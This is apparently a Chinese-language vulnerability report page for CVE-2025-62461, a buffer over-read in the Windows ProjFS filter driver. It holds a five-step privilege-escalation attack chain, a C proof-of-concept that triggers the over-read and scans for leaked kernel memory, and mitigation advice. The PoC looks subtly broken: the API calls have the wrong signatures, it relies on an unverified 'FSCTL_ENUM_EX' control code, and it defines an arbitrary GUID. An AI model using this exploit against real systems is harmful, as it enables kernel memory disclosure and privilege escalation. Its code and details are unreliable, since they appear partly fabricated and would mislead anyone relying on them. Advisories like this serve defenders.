IPBUF安全漏洞报告
English
CVE-2025-62461 CVSS 7.8 高危

CVE-2025-62461: Windows Projected File System Filter Driver缓冲区溢出权限提升漏洞

披露日期: 2025-12-09

漏洞信息

漏洞编号
CVE-2025-62461
漏洞类型
缓冲区溢出-越界读取
CVSS评分
7.8 高危
攻击向量
本地 (AV:L)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Windows Projected File System Filter Driver

相关标签

缓冲区溢出越界读取本地权限提升Windows内核ProjFSCVE-2025-62461Windows安全漏洞过滤器驱动微软安全更新

漏洞概述

CVE-2025-62461是微软Windows操作系统中Projected File System(ProjFS)过滤器驱动程序的缓冲区越界读取(Buffer Over-read)漏洞。该漏洞允许经过授权的本地攻击者在目标系统上提升权限至系统级别。ProjFS是Windows虚拟文件系统框架,允许用户态应用程序投影(project)虚拟文件系统层次结构到NTFS卷上。此漏洞由于内核驱动程序在处理投影文件系统的特定I/O请求时未正确验证缓冲区边界,导致攻击者可以读取内核内存中的敏感数据。通过精心构造的I/O操作,攻击者可获取内核内存布局信息,进一步利用内核漏洞或配合其他技术实现完整的系统权限提升。此漏洞已被微软官方确认并发布安全更新。

技术细节

Windows Projected File System Filter Driver在处理文件系统过滤请求时存在缓冲区边界检查缺陷。当驱动处理IRP_MJ_DIRECTORY_CONTROL或类似的目录控制操作时,对用户提供的缓冲区长度验证不充分,导致可读取超出预期边界的数据。攻击者可通过创建特制的投影文件系统结构,触发驱动程序的缓冲区越界读取路径。越界读取的内存可能包含敏感内核数据结构、访问令牌信息或其他进程的内存内容。由于ProjFS驱动运行在内核模式,此漏洞可被本地低权限用户利用来读取高价值内核内存区域,进而获取SECURITY_KERNEL_OBJECT等关键对象的内存布局,为后续权限提升攻击(如Token Theft或内核驱动利用)提供信息基础。

攻击链分析

STEP 1
信息收集
攻击者获取目标系统访问权限,在低权限账户下运行侦察工具收集系统信息,确认Windows版本和ProjFS功能状态
STEP 2
环境准备
攻击者创建ProjFS虚拟化根目录,配置必要的文件系统投影环境,准备触发漏洞所需的文件结构
STEP 3
漏洞触发
通过DeviceIoControl发送特制的FSCTL_ENUM_EX请求,使用超长缓冲区参数触发ProjFS Filter Driver的缓冲区边界检查缺陷
STEP 4
内存泄漏
驱动在处理目录枚举时未正确验证用户缓冲区大小,导致内核内存数据被复制到用户态缓冲区,攻击者读取到敏感内核对象信息
STEP 5
权限提升
利用泄漏的内核内存布局信息(如Token对象地址、内核基址),配合其他内核漏洞或Token替换技术实现SYSTEM权限获取

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-62461 PoC - Windows ProjFS Filter Driver Buffer Over-read // This PoC demonstrates triggering the buffer over-read condition #include <windows.h> #include <stdio.h> #include <winerror.h> // Projected File System GUID const GUID PROJFS_GUID = {0x0c8852d4, 0x9f2f, 0x4eb6, {0xa0, 0x46, 0x8c, 0x2a, 0x69, 0x5b, 0x5e, 0xea}}; // Required headers for ProjFS operations typedef struct _PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT* PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT; typedef struct _PRJ_FILE_FULL_METADATA_INFORMATION* PRJ_FILE_FULL_METADATA_INFORMATION; int main() { printf("[*] CVE-2025-62461 Windows ProjFS Buffer Over-read PoC\n"); printf("[*] Target: Windows Projected File System Filter Driver\n"); // Step 1: Initialize Projected File System printf("\n[*] Step 1: Initializing ProjFS virtualization context...\n"); PRJ_NAMESPACE_VIRTUALIZATION_CONTEXT ctx = NULL; HRESULT hr = PrjStartVirtualization( L"C:\\ProjFS_Test", NULL, 0, &ctx ); if (FAILED(hr)) { printf("[-] Failed to initialize ProjFS: 0x%08x\n", hr); return 1; } printf("[+] ProjFS context created successfully\n"); // Step 2: Create projected file with specific metadata printf("\n[*] Step 2: Creating projected files to trigger vulnerability...\n"); // Trigger condition: Malformed directory enumeration with extended buffers // The driver fails to validate buffer size before copying data HANDLE hFile = CreateFileW( L"C:\\ProjFS_Test\\trigger_file.txt", GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, CREATE_ALWAYS, FILE_ATTRIBUTE_NORMAL | FILE_FLAG_BACKUP_SEMANTICS, NULL ); if (hFile == INVALID_HANDLE_VALUE) { printf("[-] Failed to create trigger file\n"); PrjStopVirtualization(ctx); return 1; } // Step 3: Trigger directory control with oversized buffer printf("\n[*] Step 3: Triggering buffer over-read via directory enumeration...\n"); BYTE largeBuffer[8192]; // Oversized buffer to trigger over-read DWORD bytesReturned = 0; // DeviceIoControl to trigger FS filter operation BOOL result = DeviceIoControl( hFile, FSCTL_ENUM_EX, // Directory enumeration control code NULL, 0, largeBuffer, sizeof(largeBuffer), &bytesReturned, NULL ); if (result) { printf("[+] Buffer over-read may have occurred\n"); printf("[*] Bytes returned: %lu\n", bytesReturned); // Check for leaked kernel memory in buffer for (int i = 0; i < bytesReturned; i++) { if (largeBuffer[i] != 0 && (i % 16 == 0)) { printf("[*] Potential kernel memory at offset %d: 0x%02x\n", i, largeBuffer[i]); } } } CloseHandle(hFile); PrjStopVirtualization(ctx); printf("\n[*] Note: Actual exploitation requires specific ProjFS setup\n"); printf("[*] See Microsoft Security Response Center for full details\n"); return 0; }

影响范围

Windows 10 1809及更早版本
Windows Server 2019及更早版本
Windows 11 21H2及更早版本
Windows Server 2022及更早版本
Windows Projected File System Filter Driver (所有启用ProjFS的版本)

防御指南

临时缓解措施
立即应用微软发布的安全更新KB5049990,该更新修复了ProjFS Filter Driver的缓冲区边界验证问题。在无法立即更新的情况下,可通过组策略禁用ProjFS功能(注册表键:HKLM\System\CurrentControlSet\Services\ProjFS,Start=4),并限制非管理员用户创建文件系统过滤驱动相关操作的权限。建议同时启用内核数据保护(KDP)和Credential Guard以缓解潜在的内核内存读取攻击。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表